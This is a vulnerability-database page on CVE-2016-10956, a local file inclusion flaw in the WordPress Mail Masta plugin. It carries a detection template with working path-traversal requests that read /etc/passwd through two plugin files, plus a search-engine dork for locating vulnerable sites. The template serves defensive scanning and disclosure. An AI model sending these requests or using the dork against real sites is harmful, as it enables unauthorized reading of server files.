WordPress Mail Masta 1.0 - Local File Inclusion
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
 | Exploit for Improper Input Validation in Mail-Masta_Project Mail-Masta | 10 Dec 202116:06 | – | githubexploit |
| Exploit for Improper Input Validation in Mail-Masta_Project Mail-Masta | 10 Dec 202116:06 | – | githubexploit |
 | CVE-2016-10956 | 16 Sep 201916:33 | – | circl |
 | CVE-2016-10956 | 16 Sep 201911:20 | – | cve |
 | CVE-2016-10956 | 16 Sep 201911:20 | – | cvelist |
 | wp-mail-masta-exploit | 14 Oct 202601:32 | – | kitploit |
| CVE-2016-10956-mail-masta | 14 Oct 202619:17 | – | kitploit |
 | WordPress Mail Masta 1.0 - Local File Inclusion Detection | 28 Jul 202611:27 | – | kittysploit |
 | CVE-2016-10956 | 16 Sep 201912:15 | – | nvd |
 | WordPress Multiple Plugins / Themes Directory Traversal / File Download Vulnerability (HTTP) | 20 Nov 202000:00 | – | openvas |
10
id: CVE-2016-10956
info:
name: WordPress Mail Masta 1.0 - Local File Inclusion
author: daffainfo,0x240x23elu
severity: high
description: WordPress Mail Masta 1.0 is susceptible to local file inclusion in count_of_send.php and csvexport.php.
impact: |
An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
remediation: |
Update WordPress Mail Masta to the latest version or apply the vendor-supplied patch to fix the local file inclusion vulnerability.
reference:
- https://cxsecurity.com/issue/WLB-2016080220
- https://wpvulndb.com/vulnerabilities/8609
- https://wordpress.org/plugins/mail-masta/#developers
- https://nvd.nist.gov/vuln/detail/CVE-2016-10956
- https://github.com/p0dalirius/CVE-2016-10956-mail-masta
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2016-10956
cwe-id: CWE-20
epss-score: 0.10582
epss-percentile: 0.957
cpe: cpe:2.3:a:mail-masta_project:mail-masta:1.0:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: mail-masta_project
product: mail-masta
framework: wordpress
google-query: inurl:"/wp-content/plugins/mail-masta"
tags: cve,cve2016,wordpress,wp-plugin,lfi,mail,mail-masta_project,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
- "{{BaseURL}}/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
- 500
# digest: 4b0a00483046022100eef3cbfd94a4313db4683ee795b269bb18cce64ba93c562f6c6e0e65f3404845022100af153d11bb2f48d140f5be68cca592cb87017c45d22dacc6487e971ade1ff89b:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
7.7High risk
Vulners AI Score7.7
CVSS 25
CVSS 3.17.5
EPSS0.10582